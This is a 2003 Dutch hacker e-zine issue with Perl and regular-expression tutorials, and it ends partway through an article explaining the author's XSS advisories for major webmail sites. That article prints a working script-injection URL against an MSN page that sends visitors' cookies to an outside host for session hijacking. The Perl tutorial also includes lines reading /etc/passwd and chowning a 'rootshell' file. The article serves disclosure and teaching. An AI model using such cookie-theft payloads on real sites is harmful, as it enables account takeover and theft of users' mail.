Copy Link
Add to Bookmark
Report
Hackers 4 Hackers #12
Hackers 4 Hackers Issue 12, released on 25-03-2003
___ ___ _____ ___ ___
/ | \ / | | / | \
/ ~ \/ | |_/ ~ \
\ Y / ^ /\ Y /
\___|_ /\____ | \___|_ /
\/ |__| \/
+-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+
|h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |1|2|
+-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+
http://www.hackers4hackers.org
'25-03-2003'
Om je aan of af te melden bij de mailinglijst ga je naar www.hackers4hackers.org
Artikelen en dergelijke kun je mailen naar artikel@hackers4hackers.org. Vragen
kun je mailen naar de desbetreffende auteur of naar post@hackers4hackers.org.
- H4H 12 -
00. Info....................................................... (Redactie)
01. Voorwoord.................................................. (Thijs Bosschert)
02. Outerbrains 2k2, En nu verder.............................. (Edward Moll)
03. Perl voor beginners - Deel 3............................... (Bas Bosschert)
04. Reguliere expressies - Deel 2.............................. (Bas Bosschert)
05. Webmail horror............................................. (Thijs Bosschert)
06. telnetd als OS fingerprinting medium....................... (Ilja)
07. IPSec VPN versus SSL VPN................................... (_Razor_)
08. OpenBSD Bridging Firewall.................................. (Laurens)
09. De geboorte van een netwerk:Internet (deel 3).............. (Rath)
10. Nawoord.................................................... (Thijs Bosschert)
-------------------------------------------------------
00. Info
-------------------------------------------------------
----------------------------
Quote
----------------------------
<rat> de donald duck komt tenminste elke week
----------------------------
----------------------------
Disclaimer
----------------------------
Hackers 4 Hackers (H4H) is een onderdeel van stichting outerbrains.
H4H of de stichting kunnen niet aansprakelijk gehouden worden voor datgene wat
er met de informatie op deze site en andere van onze publicaties gedaan wordt.
Wij streven een educatief doel na, bij gebruik van de door ons verstrekte
informatie zijn de gevolgen voor eigen rekening.
De meningen van auteurs hoeven niet hetzelfde te zijn als die van de redactie!
----------------------------
----------------------------
Reclame
----------------------------
Op zoek naar een leuke Hbo-opleiding in de multimedia of communicatie branche?
Het instituut voor Media en Informatie Management van de Hogeschool van
Amsterdam biedt de enige studie in Nederland die je opleidt tot professional in
de wereld van media, informatie èn uitgeverij. Je ontwikkelt jezelf tot een
professional op het gebied van de productie, marketing, redactie en verkoop van
media als boeken, tijdschriften, televisie, radio, website's en cd-rom's. Je
leert te bepalen welk medium welke doelgroep het meest aanspreekt. Ook leer je
de noodzakelijke informatie toegankelijk te maken binnen een bedrijf. Amsterdam
is het centrum van de commerciële dienstverlening en er zijn dus veel
uitgeverijen, reclamebureaus, televisie-, internet- en multimediabedrijven
gevestigd waarmee het Instituut van Media en Informatie Management contacten
heeft. Hierdoor zijn er veel leuke stageplekken beschikbaar.
Voor meer informatie: www.mim.hva.nl
---------------------------
----------------------------
Colofon
----------------------------
Hoofdredacteur: Thijs Bosschert
Eindredacteur: Bas Bosschert
Website: Berry
Contact gegevens:
Redactie: redactie@hackers4hackers.org
Artikelen Submit: artikel@hackers4hackers.org
De rest van de H4H medewerkers zijn via de redactie te bereiken.
----------------------------
-------------------------------------------------------
01. Voorwoord
-------------------------------------------------------
Goedendag allemaal,
Het was alweer een behoorlijke tijd geleden, maar hij is er dan toch gekomen. De
nieuwe H4H. Op outerbrains was de laatste H4H uitgebracht en wel in papieren
versie. Deze H4H is ondertussen online in PDF en TXT formaat te lezen.
In de tussentijd tussen de laatste H4H en deze H4H heeft de redactie (niet
helemaal) stil gezeten. Om H4H een betere toekomst te geven hebben we besloten
wat dingen binnen H4H en de website te veranderen. Deze dingen zullen geleidelijk
aan te zien zijn op de site en in de H4H's.
Hopelijk kan ik in de volgende H4H wat duidelijker zijn over bepaalde
veranderingen. We hopen in ieder geval dat jullie deze H4H weer leuk vinden om te
lezen, want er is weer behoorlijk wat werk in gaan zitten voor de schrijvers en
de redactie.
Veel plezier met lezen,
Thijs "N|ghtHawk" Bosschert
Hoofdredacteur Hackers4Hackers
redactie@hackers4hackers.org
nighthawk@hackers4hackers.org
-------------------------------------------------------
02. Outerbrains 2k2, En nu verder
-------------------------------------------------------
Outerbrains 2k2, En nu verder...
Nadat we vorig jaar een groot evenement voor meer dan 300 personen in Etten-Leur
hebben georganiseerd hebben we als organisatie behoorlijk bij moeten komen van
alle indrukken die we hebben opgedaan... Gelukkig is wel te zeggen dat het
evenement absoluut geslaagd is en voor herhaling vatbaar... Uiteraard hebben we
het evenement geëvalueerd en conclusies getrokken hoe we onze lessen uit dingen
die misgelopen zijn konden trekken. Zo hebben we een aantal tegenslagen gehad,
zowel financieel doordat we te weinig bezoekers hadden maar ook technisch omdat
de nieuw aangeschafte gigabit backbone nog wat koppeling probleempjes had...
Gelukkig is de sponsor hier in tegemoet gekomen en hebben we nu een eigen ROM
versie (outerbrains.rom ;) die deze problemen in de toekomst het hoofd moet
bieden... Ook het afzeggen van de internet verbinding door een sponsor was een
tegenslag, in toekomstige evenementen zal het aanwezig zijn van internet zelfs
een voorwaarde worden om het evenement door te laten gaan of niet!
Maar nu verder, we gaan dit jaar wederom 1 groot evenement opzetten en mogelijk
zelfs nog een 2e groot evenement eind van het jaar... Afhankelijk of het 2e
evenement ook plaats zal vinden en beschikbaarheid van de locatie zal de datum
bepaald gaan worden... We zitten te denken aan de maanden juni / juli maar het
kan ook pas augustus gaan worden... Kortom, we zullen er voor zorgen dat je op
de hoogte gehouden blijft!
De locaties voor de evenementen zullen ook iets anders er uit gaan zien... De
regio waar Outerbrains dit jaar gehouden zal worden zal wat meer in het midden
van Nederland liggen... We hebben op het moment contacten met grote sponsors die
ons in huisvesting willen voorzien...
Ook dit jaar hebben we weer de beschikking over een compleet computer netwerk en
stroom voorzieningen tot 250 personen. Uiteraard zoeken we nog altijd mensen die
eventueel servers of extra netwerk apparatuur ter beschikking willen stellen,
maar ook mensen die willen meewerken aan het opzetten van competities zijn zeker
welkom!
Samengevat gaan wij ook dit jaar weer garant staan voor een leuk computer
evenement met een aanvullende prettige sfeer!
Tot zover,
Edward Moll
Stichting Outerbrains
E: info@outerbrains.nl
-------------------------------------------------------
03. Perl voor beginners - Deel 3
-------------------------------------------------------
Perl voor beginners - deel 3
----------------------------
--[ Inleiding
Het moest er maar eens van komen, een derde artikel over perl. In het vorige
artikel heb ik beloofd iets te vertellen over reguliere expressies. Aangezien
dit best veelzijdig is heb ik hier een aparte serie artikelen aan gewijd. Dus
voor dit artikel staat het nog helemaal open waarover ik het ga hebben. Na mijn
vorige artikelen terug te hebben gelezen heb ik even een lijstje opgeschreven
waar ik het nog allemaal over kan hebben:
- subroutines
- meer over files en directories
- proces managment
Deze punten zal ik ook in dit artikel behandelen. Dit is tevens het laatste
'beginners' artikel. Mochten er vragen zijn over bepaalde zaken of behoefte voor
een Perl artikel drop even een mailtje op perl[at]hackers4hackers[dot]org.
--[ Subroutines
Je kan natuurlijk een programma schrijven waarin je alle code netjes onder
elkaar zet en dat hij van boven tot beneden loopt. Maar stel nu dat je vaak
hetzelfde moet uitvoeren, dan is het een stuk makkelijk als je dat in een
functie kwijt kan. In perl gebruik je hiervoor het commando 'sub'. Zie het
volgende voorbeeld.
sub hoi {
print "hallo\n";
}
Voor de subname, in dit geval hoi kan je dezelfde naam gebruiken als voor je
variabelen, dus $hoi, @hoi en %hoi kan allemaal tegelijk ook bestaan. Niet dat
dit aan te raden is, of je moet juist onbegrijpbare code willen schrijven. Waar
je je subroutines plaats maakt niet zoveel uit, of je het nu in het begin van je
programma wilt plaatsen of juist op het eind is helemaal door jou te bepalen.
Binnenin de subroutine kan je gewoon gebruik maken van de variabelen die ergens
anders in het programma gedeclareerd zijn. Dus bijvoorbeeld:
$fruit = "aardbei";
sub reclame {
print "We hebben vandaag in de aanbieding: $fruit\n";
}
Een subroutine kan je op verschillende manieren aanspreken en vanuit elke plek
in de rest van het programma. Je kan een subroutine aanspreken door sub() of
&sub te gebruiken. Zie de volgende voorbeelden:
$a = 38 + &reken;
reclame();
for($x=start();a$x<=end();$x++){ ...
Nu zie je dat er in bovenstaande voorbeelden er wordt verwacht dat de functie
een getal teruggeeft. Dit doe je met 'return'. Zie het volgende voorbeeld.
sub optellen {
return $x+$y;
}
$x = 8 ; $y=4;
$som = optellen(); # $som wordt 12.
Je kan behalve een scalar ook een array returnen.
sub maak_lijst{
return($x,$y);
}
$x=8; $y=4;
@lijst = maak_lijst(); # @lijst wordt (8,4)
Het is ook mogelijk om argumenten mee te geven aan een functie. De argumenten
die je meegeeft worden opgeslagen in de variabele @_ voor de duur van de
subroutine. Zie het volgende voorbeeld.
sub reclame {
my $artikel = shift;
print "In de aanbieding hebben we: $artikel;
}
reclame("fruit"); # geeft: In de aanbieding hebben we: fruit
$y="wc-papier";
reclame($y); # geeft: In de aanbieding hebben we: wc-papier
Je ziet dat we in bovenstaande sub routine de variabele $artikel uit de @_ halen
met shift. Met het commando shift haal je de eerste waarde van een array af. Als
je geen array opgeeft dan wordt er gebruik gemaakt van @_. De variabele $artikel
bestaat alleen binnen de sub. Daarbuiten bestaat hij niet.
--[ Globale en lokale variabelen
Zoals we in voorgaande voorbeeld zagen, zagen we dat we met behulp van my een
variabele lokaal declareerde. Dit wil zeggen dat de variabele alleen "leeft" in
de sub zelf. Behalve in de sub kan je ook lokale variabelen declareren in loops,
of if en else statements. Als je bestaande variabelen, zoals bijvoorbeeld $/
lokaal wilt gebruiken dien je 'local' te gebruiken.
my $bla; # declareert $bla lokaal
my $bla=1; # declareert $bla lokaal en geeft waarde 1 aan $bla
my ($a, $b); # declareert $a en $b;
Om een globale variabele te declareren gebruikt men ook my. Alleen dan in het
begin van het programma, zodat de variabele in het hele programma te gebruiken
is. Het is altijd verstandig om je variabelen te declareren. Het hoeft niet in
perl, maar om te zorgen dat je geen problemen krijgt met je variabelen is het
verstandig. Om te zorgen dat je er altijd gebruik van maakt en het ook
gecontroleerd wordt kan je in het begin van je programma 'use strict;' tikken.
Strict checkt op drie verschillende zaken:
- refs (dit is iets wat je als beginner nog niet gebruikt, dus behandel ik
nu niet)
- vars (dit is de check of je alle variabelen hebt gedeclareerd)
- subs (zorgt er voor dat je geen kale woorden als string invoert, vb $a=blaat)
Een goede perl programmeur gebruikt altijd strict, voor meer info over een goede
perl style coden, zie http://www.perldoc.com/perl5.8.0/pod/perlstyle.html.
--[ meer over files en directories
Behalve files openen en sluiten kan je nog meer in perl met bestanden en
directories.
Je kan bijvoorbeeld testen wat voor attributen er op een bestand gezet zijn,
directories benaderen en lezen, bestanden en directories verwijderen, hernoemen,
linken en het wijzigen van permissies en eigenaar.
Allereerst uitleg over hoe we moeten testen:
Als je bijvoorbeeld wilt weten of een bestand bestaat gebruik je het volgende:
if (-e "bestand"){
print "bestand bestaat";
}
Een volledige lijst van alle file tests is te vinden op:
http://www.perldoc.com/perl5.8.0/pod/func/-X.html
Nu lijkt het als je die lijst ziet alsof je alles kan controleren met behulp van
file tests. Dit is helaas niet zo. Om toch alle beschikbare info te kunnen
vergaren heeft perl de commando's stat en lstat.
De stat functie levert een lijst van 13 elementen op als het bestand bestaat.
($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size, $atime,
$mtime, $ctime, $blksize, $blocks) = stat (file);
Dus als je bijvoorbeeld het uid en gid van /etc/passwd wilt weten:
($uid, $gid) = (stat("/etc/passwd"))[4,5];
lstat doet precies hetzelfde als stat met als enige verschil dat het NIET
symbolische links volgt. Behalve testen van bestanden en directories kan je
directories ook openen en lezen.
In perl gebruik je het commando chdir om de current directory te veranderen:
chdir ("/tmp") || die "cannot change current directory to /tmp: $!\n";
Als je wilt weten welke bestanden er in een directory staan kan je dat op
verschillende manieren doen. Via globbing of via directory handles. Globbing
maakt gebruik van de speciale karakters van de shell om bestanden weer te geven.
Deze karakters zijn de * en ?.
$dir ="/etc";
@files = <$dir/*>; # or @files = glob("$dir/*");
Of als we gebruik maken van directory handles:
opendir(ETC, "/etc") || die "Kan dir niet openen: $!\n";
while ($name=readdir(ETC)){
push @files, $name;
}
closedir(ETC);
Bestanden verwijderen doe je met het commando unlink. Gewoon heel simpel:
unlink("bestand");
unlink("bestand1", "bestand2");
unlink <*.mp3>;
Bestanden hernoemen doe je met het commando rename:
rename("aap", "banaan");
Linking doe je zo:
link("aap","banaan");
en een softlink:
symlink("aap","banaan");
Een directory maak je aan met mkdir en verwijderen doe je met rmdir.
mkdir("test", 0777);
rmdir("test");
Permissies wijzig je met chmod en de eigenaar verander je met chown.
chmod(0666, "aardbei");
chown(0,0, "rootshell"); # geeft uid 0 en gid 0
--[ proces managment
Ok, beetje overdreven titel, maar goed. In perl kan je ook andere programma's
aanroepen. Dit kan op drie verschillende manieren. Via system, exec en
backquotes.
Het system commando erft al zijn eigenschappen van het perl programma zelf. Als
je het system commando aanroept gebruikt hij dezelfde stdin, stdout en stderr.
Het system commando gebruik je zo:
system("ls -l");
system("whoami");
Als het system commando goed uitgevoerd wordt returned het een 0. En als het
fout gaat een 1. Exec daarentegen doet dat niet. Die voert het commando gewoon
uit en returned een 0. Exec roep je als volgt aan:
exec '/bin/echo', 'Hallo Wereld';
exec "cat /etc/passwd | grep root";
Als je de waarde die uit het commando komt wilt opslaan in een variabele dan kan
je gebruik maken van backquotes. Het aanroepen doe je met:
$ip=`dig +short domein.com`;
$name=`whoami`;
--[ Conclusie
Na het lezen van de drie perl artikelen heb je een goede basis liggen om met
perl aan de slag te gaan. Mocht je nog vragen hebben of een behoefte aan een
perl artikel, ik ben altijd bereid om mijn kennis te delen. Stuur gewoon een
mailtje naar perl[at]hackers4hackers[dot]org en je ontvangt antwoord terug.
Althans als je niet verdwijnt in mijn spamfilter, want die is soms erg
enthousiast. Mocht je willen oefenen met perl en je hebt geen idee wat je zal
programmeren, op http://acm.uva.es/problemset/ staan veel programmeer
oefeningen. Ze zijn niet alleen leuk om te programmeren, maar ook erg leerzaam.
Voor de rest zal ik in de toekomst een serie artikelen wijden aan Perl/tk, (want
je kan ook grafisch programmeren met perl) en mijn serie over reguliere
expressies afschrijven.
-------------------------------------------------------
04. Reguliere expressies - Deel 2
-------------------------------------------------------
--[ Reguliere expressies - the horror continues
>>> Inleiding
In het vorige artikel is de basis gelegd wat betreft reguliere expressies, maar
er is meer. Ook dit keer gaan we gebruik maken van egrep. In dit artikel zal de
nadruk liggen op het efficient gebruik maken van reguliere expressies. Hierbij
letten we op twee dingen:
- Reguliere expressies zijn afhankelijk van de data;
- Reguliere expressies zijn hebberig.
Het vorige artikel eindigde ik met een aantal opgaven. Deze opgaven zullen de
leidraad vormen van dit artikel. Om jullie geheugen nog even op te frissen, hier
nogmaals de opgaven:
1. Schrijf een regexp om uit een lijst met data ip-adressen te pakken.
2. Schrijf een regexp om uit een lijst met data alle datums uit januari te
pakken. Januari word aangegeven als 'Jan'
3. Schrijf een regexp om drievoudige woorden weer te geven, zoals 'dat dat dat'.
4. Schrijf een regexp die zoekt naar regels die beginnen met Subject:, de rest
van de regel moet in \1 komen.
>>> Matchen van een IP-adres
Als je de opgave leest is de eerste logische vraag wat je je zelf stelt: "Uit
wat voor data moet ik het IP-adres zien te krijgen". Dit is ook het eerste
waarbij je stil moet staan bij het in elkaar knutselen van een reguliere
expressie, want soms kan het veel makkelijker. Stel je hebt een lijst met tekst
waar de enige getallen die er in voorkomen een ip-adres is. In dit geval
voldoet:
$ egrep '[0-9]+' tekstfile
Maar wil je nu bijvoorbeeld je eigen IP-adres weten door middel van ifconfig,
dan krijg je een hoop data die je niet wilt hebben. Hier geven we aan dat een
IP-adres bestaat uit een cijfer-punt-cijfer-punt-cijfer-punt-cijfer. En cijfer
kan dan 1 of meerdere cijfers zijn:
# ifconfig | egrep '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'
Of korter:
# ifconfig | egrep '[0-9]+(\.[0-9]+){3}'
Voor de data die ifconfig geeft voldoet bovenstaande reguliere expressie, maar
als je niet weet wat de ingevoerde data is, bijvoorbeeld iemand die een IP-adres
invoert via een webformulier. In dat geval brengt bovenstaande reguliere
expressie je al een heel eind, maar getallen zoals 88888.1.512.23 en
300.11.506.18 kunnen ook ingevoerd worden en zullen dan als geldig IP-adres
gezien worden. Dus we moeten daar iets op verzinnen. Om het makkelijk te houden
gaan we ervan uit dat een getal uit een IP-adres tussen de 0 en 255 ligt. Een
beetje puzzelen brengt ons het volgende:
# egrep '[012]?[0-9]{1,2}(\.[012]?[0-9]{1,2}){3}' /etc/network/interfaces
Nu gebruik je natuurlijk egrep niet (vaak) voor het checken van een webinterface
invoer, dus in dit geval pak ik een bestaand bestand met IP-adressen erin.
Natuurlijk zie je niet in een oogopslag wat bovenstaande reguliere expressie
doet, dus we zullen hem ontleden:
[012]?[0-9]{1,2}
- een 0, 1 of 2, die 0 of 1 keer voorkomt
- gevolgd door 1 of 2 getallen (0 tot 9)
(\.[012]?[0-9]{1,2}){3}
- driemaal:
- een punt
- gevolgd door een 0, 1 of 2, die 0 of 1 keer voorkomt
- gevolgd door 1 of 2 getallen (0 tot 9)
Zo. Nu zijn we er. Of toch nog niet? Nee, want de gebruiker kan nog steeds
5211.11.1.10, 11.1.12.3333 of 257.11.1.10 invoeren. We zijn nog twee dingen
vergeten mee te nemen. Allereerst geven we niet aan waar de reguliere expressie
moet beginnen of eindigen, waardoor er getallen voor of na kunnen staan. DIt is
simpel op te lossen door gebruik te maken van ^,$ of \< en \>. Dit is weer
afhankelijk van de data. ^ en $ gebruik je als het ip-adres op een aparte regel
staat en \< en \> gebruik je als het ip-adres midden in de tekst staat. In dit
geval maak ik gebruik van \< en \>.
# egrep '\<[012]?[0-9]{1,2}(\.[012]?[0-9]{1,2}){3}\>' /etc/network/interfaces
Het tweede probleem waar we nog mee zitten is dat getallen zoals 256 of 299 ook
geldig zijn, maar dit zijn geen geldige ip-adressen. Hiervoor breken we het
getal 255 in kleine stukjes:
- 000 - 199 [01]?[0-9]{1,2}
- 200 - 249 2[0-4][0-9]
- 250 - 255 25[0-5]
En dit allemaal bij elkaar toegevoegd krijgen we het volgende:
# egrep '\<([01]?[0-9]{1,2}|2[0-4][0-9]|25[0-5])(\.([01]?[0-9]{1,2}|2[0-4][0-9]
|25[0-5])){3}\>' \/etc/network/interfaces
Voor de mensen die vinden dat 001.053.211.011 geen geldig ip-adres is, maar
1.53.211.11 wel:
# egrep '\<([0-9]|[1-9][0-9]|1[0-9]{1,2}|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9]
[0-9]|1[0-9]{1,2}|2[0-4][0-9]|25[0-5])){3}\>' \/etc/network/interfaces
Nu kan je dit natuurlijk zover mogelijk doortrekken als je zelf wil. Want
127.*.*.* en 192.168.*.* zijn bijvoorbeeld geen geldige IP-adressen. Maar
voorlopig houden we het op bovenstaande reguliere expressie.
>>> Matchen van een datum
Ook een leuke reguliere expressie is het matchen van datums. Want ook hier zit
je met het probleem dat bijvoorbeeld 31 wel geldig is, maar 32 weer niet. De
opgave was in principe niet zo moeilijk, want je had een lijst met datums waar
je alle datums uit januari aan moest geven. En januari zou geschreven worden als
Jan.
# egrep 'Jan' lijst_met_data
Dat is in principe alles. Maar nu we toch bezig zijn met datums, er is vast wel
wat leukers mee te doen. Zoals ik al zei zit je met datums ook met het probleem
dat bepaalde datums dus niet kunnen. 32 januari heeft nog nooit iemand
meegemaakt. Ook hier zal je dus de 31 weer moeten opdelen:
1-9 [1-9]
10-29 [12][0-9]
30-31 3[01]
Totaal wordt het dus '([1-9]|[12[0-9]|3[01])', maar we kunnen het geheel ook
anders opdelen. Teken hiervoor onderstaande tekening, altijd makkelijk om het
eerst uit te tekenen bij complexere reguliere expressies.
1 2 3 4 5 6 7 8 9
10 11 12 13 14 15 16 17 18 19
20 21 22 23 24 25 26 27 28 29
30 31
Hier, zoals we het momenteel onderverdeeld hebben, dus '([1-9]|[12[0-9]|3[01])':
------------A-------------
|1 2 3 4 5 6 7 8 9|
------------------------------
|10 11 12 13 14 15 16 17 18 19|
|20 21 22 23 24 25 26 27 28 29|
---------------B---------------
|30 31|
---C---
De vakken A, B en C komen overeen met de verschillende delen van de reguliere
expressie:
- vak A [1-9]
- vak B [12][0-9]
- vak C 3[01]
Maar we kunnen het ook in andere vakken verdelen:
----------------------------
___| 1 2 3 4 5 6 7 8 9|
|10|11 12 13 14 15 16 17 18 19|
|20|21 22 23 24 25 26 27 28 29|
| |-----------A---------------
|30|31|
-B---C-
Per vak maak je dan een aparte regexp en die voeg je samen:
- vak A [12]?[1-9]
- vak B [123]0
- vak C 31
en dit levert ons totaal op: '([12]?[1-9]|[123]0|31)'. En als laatst heb je nog
de volgende mogelijkheid:
----------------------------
_B_| 1 2 3 4 5 6 7 8 9|
|10|11 12 13 14 15 16 17 18 19|
|20|21 22 23 24 25 26 27 28 29|
|--------------A---------------
|30 31|
-----C-
- vak A [12]?[1-9]
- vak B [12]0
- vak C 3[01]
en dit levert ons totaal op: '([12]?[1-9]|[12]0|3[01])'.
Zo zie je dus dat je een reguliere expressie op verschillende manieren kan
schrijven terwijl het toch hetzelfde zoekt. Om nu data uit januari te matchen en
te kijken of het goede data zijn:
# egrep 'Jan ([12]?[1-9]|[12]0|3[01])' mbox
En voila al de data uit januari wanneer ik mail heb gehad.
>>> Drievoudige woorden weergeven
De volgende vraag was om drievoudige woorden te checken. Dit is op zich niet zo
moeilijk lijkt het in de eerste plaats. Want hoe checken we een woord en kunnen
we er later op terugkijken. Nou, een woord kan je bijvoorbeeld checken door:
$ egrep '\<.+\>' bestand
Althans dat lijkt logisch, maar wat gebeurt er nu in bovenstaand voorbeeld? De
reguliere expressie engine is hebberig en pakt zoveel mogelijk tekst als hij
kan. Stel dat we een regel 'Het konijn' hebben, om het duidelijk te maken bouwen
we het om naar '^\<Het\> \<konijn\>$'.
De machine gaat als volgt:
^ - begin van een regel, zijn we niet naar op zoek, dus we zoeken verder
\< - begin van een woord, kijken of deze wordt gevolgd door een karakter
H - een karakter, maar we willen er meer
e - nog een karakter
t - nog een
\> - hej, einde van een woord.. doe ik niks mee, ik wil meer karakters
- spatie, ook een karakter
\< - nog een begin van een regel.. wat leuk...
k - jammie, meer karakters
o - nog meer karakters
n - en nog meer
i - en..
j - nog
n - meer...
\> - hej, einde van een woord, maar ik wil meer karakters, ik negeer deze
even.
$ - bah, regel is op... we gaan er eentje terug en gebruiken de laatste \>
om de regexp te matchen
Dus ook al denk je dat je eigenlijk 1 woord matched, je matched dus meerdere
woorden. Dus we moeten iets anders verzinnen om 1 woord te matchen. Wat voor
eigenschappen heeft een woord:
- het bestaat uit letters
- er zit geen spatie in
Je kan dus bijvoorbeeld een woord matchen door '\<[A-Za-z]+\>' of \<[^ ]\>' te
gebruiken. Maar nu willen we drie woorden hebben, dus maken we gebruik van back
references.
$ egrep '(\<[A-Za-z]+\>)\1\1' bestand
Hej, dit werkt niet. Dat klopt, want geen enkel woord zal direct achter een
ander woord staan, dus we plaatsen er spaties tussen. En om zeker van onze zaak
te zijn willen we 1 of meerdere spaties.
$ egrep '(\<[^ ]+\>) +\1 +\1' bestand
En zo matchen we dus drie woorden. Althans we krijgen inderdaad drie woorden als
we dit uitvoeren, maar ook zinnen zoals 'hoed hoed hoeden' pakt hij en het derde
woord is toch net even anders. om dit weg te werken voegen we er nog een
voorkant en achterkant aan de woorden toe.
$ egrep '(\<[^ ]+\>) +\<\1\> +\<\1\>' bestand
>>> Gebruik maken van de hebberigheid
We kunnen natuurlijk ook gebruik maken van de hebberigheid van reguliere
expressies engines. Bijvoorbeeld in de laatste opgave. We moesten een regexp
bouwen die zocht naar alle regels die beginnen met een Subject en de rest moest
in \1 komen. Dus een plus een is twee en levert ons het volgende op:
$ egrep '^Subject:(.*)' mbox
Nu, doen we op zich niks meer met \1, maar in perl zou je deze waarde kunnen
gebruiken in de rest van je script. Nu geloven jullie me vast niet als ik zeg
dat (.*) de rest van de regel bevat. Ok, dan show ik het met behulp van sed.
$ egrep '^Subject:(.*)' mbox | sed -e 's/^Subject:\(.*\)/\1/'
Hier pakken we eerst de regel met egrep en vervolgens sturen we de regel door
naar sed. Je ziet dat om een reference te gebruiken in sed je gebruik moet maken
van \( en \). In sed veranderen we de regel in datgene wat we in \1 stoppen. En
dit levert inderdaad het onderwerp van de regel op.
Zo zie je dat de hebberigheid aan de ene kant makkelijk is, maar aan de andere
kant meestal lastig. Probeer daarom het ook zo makkelijk mogelijk te maken voor
de reguliere expressie engine en gebruik zo min mogelijk '.*'. In plaats daarvan
kan je vaak beter gebruik maken van een karakter class waarin je aangeeft wat je
niet zoekt.
Voorbeelden:
- Ook een manier om IP-adressen te pakken te krijgen
$ egrep '^[^.]\.[^.]\.[^.]\.[^.]$' bestand
- Of om html te pakken te krijgen
$ egrep '<[^>]>' bestand
- Zoeken naar uid's of gid's 500-599 in de passwd file
$ egrep ':5[0-9][0-9]:' /etc/passwd
>>> Conclusie
Reguliere expressies zijn afhankelijk van de invoer van en wat je er
uiteindelijk uit wilt hebben. Als de data onbekend is probeer dan de grenzen van
je reguliere expressie zo strak mogelijk te houden, zoals we hebben gedaan bij
het matchen van een IP-adres.
Tevens hebben we geleerd dat reguliere expressies hebberig zijn, ze willen
zoveel mogelijk data hebben als mogelijk. Ook hiervoor zul je moeten proberen je
grenzen zo strak mogelijk te houden.
Mocht je nu denken dat je alles van reguliere expressies weet, nou mooi niet. In
een volgend artikel zal ik wat dieper ingaan op de verschillende engines en
vertellen hoe je je reguliere expressie sneller en nog meer efficient kunt
krijgen.
-------------------------------------------------------
05. Webmail horror
-------------------------------------------------------
Inleiding
Naar aanleiding van mijn advisory over XSS/Cookie[1] problemen bij enkele grote
websites schrijf ik nu dit artikel. Mijn advisory over de XSS/Cookie bugs bij
Lycos[2] kwam uit op 4 November 2002 en mijn advisory van XSS/Cookie bugs bij
Hotmail, Yahoo en Excite[3] kwam uit op 13 November 2002. Wanneer dit artikel in
H4H gepubliceerd wordt zitten we al dik 4 maanden verder.
De reden waarom ik dit artikel schrijf is onder andere omdat mijn vorige twee
advisories door te weinig mensen werden begrepen, en omdat de sites er zelf ook
weinig aan deden. Dit artikel zal duidelijker beschrijven hoe de bugs in elkaar
zitten, hoe ze werken en waar de fouten eigenlijk echt zitten. Er zal een groot
deel gebruikt worden wat in de advisories stond, maar dit keer met toevoegingen
en dus een stuk uitgebreider.
Ik hoop dat ik met dit artikel mensen een duidelijk voorbeeld kan geven wat het
gevaar kan zijn van XSS. Voor de mensen die zich afvragen wat XSS precies is
raad ik aan de link van de XSS-FAQ[1] eerst te lezen alvorens aan dit artikel
te beginnen.
Introductie webmail paswoorden en XSS
Er zijn heel wat verschillende websites die een webmail dienst verlenen. De
grootste en bekendste daarvan is natuurlijk Hotmail[4]. Op internet zijn heel
wat vragen over hoe je nou hotmail moet hacken, tot grote ergenis van heel wat
mensen die zich een stuk serieuzer met security bezighouden. Toch ga ik hier
onder andere over het kraken van Hotmail schrijven, tenminste als je dat zo op
wilt vatten. Na Hotmail zijn er nog een aantal andere grote sites zoals
Yahoo[5], Lycos[6] en Excite[7] die deze dienst verlenen. Dit artikel zal vooral
over deze vier webmail diensten gaan, daarnaast zullen er ook enkele andere
genoemd worden.
Al deze webmail diensten maken natuurlijk gebruik van paswoorden om de accounts
van mensen te beschermen. Maar om niet de hele tijd bij elke pagina je paswoord
in te hoeven vullen maken ze natuurlijk gebruik van cookies[8]. Iets wat kan
betekenen dat als je iemand zijn cookie hebt, je je ook als diegene voor kan
doen, en dus kan inloggen op zijn/haar account.
Om iemand zijn cookie te pakken te krijgen kan je gebruik maken van een fout in
de server of in de gebruiker zijn software. In dit artikel gaan we gebruik maken
van de XSS fouten in een server.
Fouten in de Websites
Doordat de websites die webmail hebben meestal groot zijn en meerdere services
bevatten, maken de verschillende services vaak gebruik van hetzelfde cookie. De
cookies staan dan op (als voorbeeld yahoo) 'yahoo.com' en niet op
'<service>.yahoo.com' (vb. 'mail.yahoo.com'). Op deze manier kunnen alle sites
die een vhost op '*.yahoo.com' hebben bij dezelfde cookie. Dat lijkt natuurlijk
erg handig, maar het heeft een keerzijde. Bij het zoeken van een XSS bug hoeven
we ons dus niet te beperken tot het 'mail.yahoo.com' domein, alles wat we kunnen
vinden op een server van 'yahoo.com' kunnen we gebruiken. Alles kan immers bij
de cookie om hem uit te lezen. Bij erg grote sites is dit een erg groot nadeel,
want hoe groter de site; hoe meer verschillende pagina's of sub-sites er zijn,
en ook vooral, des te meer verschillende mensen eraan werken.
Aan de hand van voorbeelden zal ik enkele XSS bugs laten zien bij de
verschillende webmail sites.
XSS In Hotmail
De XSS in hotmail die ik gebruikt heb in de advisory hierover was op
'www.accesshollywood.msn.com', hotmail heeft deze een paar weken na het
uitbrengen van mijn advisory dicht gemaakt. Hier zijn ze overigens uniek in,
want alle andere sites hebben de XSS gaten gewoon laten zitten, blijkbaar vonden
ze het weinig van belang.
Zoals het voorbeeld zal laten zien maakt hotmail gebruik van '*.msn.com' hosts,
dus geen '*.hotmail.com'.
De XSS-bug in 'www.accesshollywood.msn.com' was in hun 'article.asp' script. Dit
script maakte gebruik van verborgen (hidden) velden in de html-source om het
bericht te kunnen doormailen, deze velden konden worden ingegeven via de url.
Vervolgens werden deze niet gefilterd, waardoor we dus zonder moeite een
javascript injectie konden doen. De url waar gebruik van werd gemaakt was:
http://www.accesshollywood.msn.com/news/article.asp?art=><script>window.open
('http://host/cgi-bin/rompigema.pl?'+document.referrer+'%20'+document.cookie);
</script>
Om deze url wat duidelijker te maken zal ik deze uitleggen zeer simpel in
gedeeltes uitleggen:
"http://www.accesshollywood.msn.com/"
- De site waar de XSS zich bevindt.
"news/article.asp"
- De path naar en het script zelf.
"?art="
- De query naar het script en de variable die we gebruiken voor onze
XSS.
"><script>"
- Door de eerste > sluiten we de hidden field in de source af,
vervolgens kondigen we aan dat er een script komt.
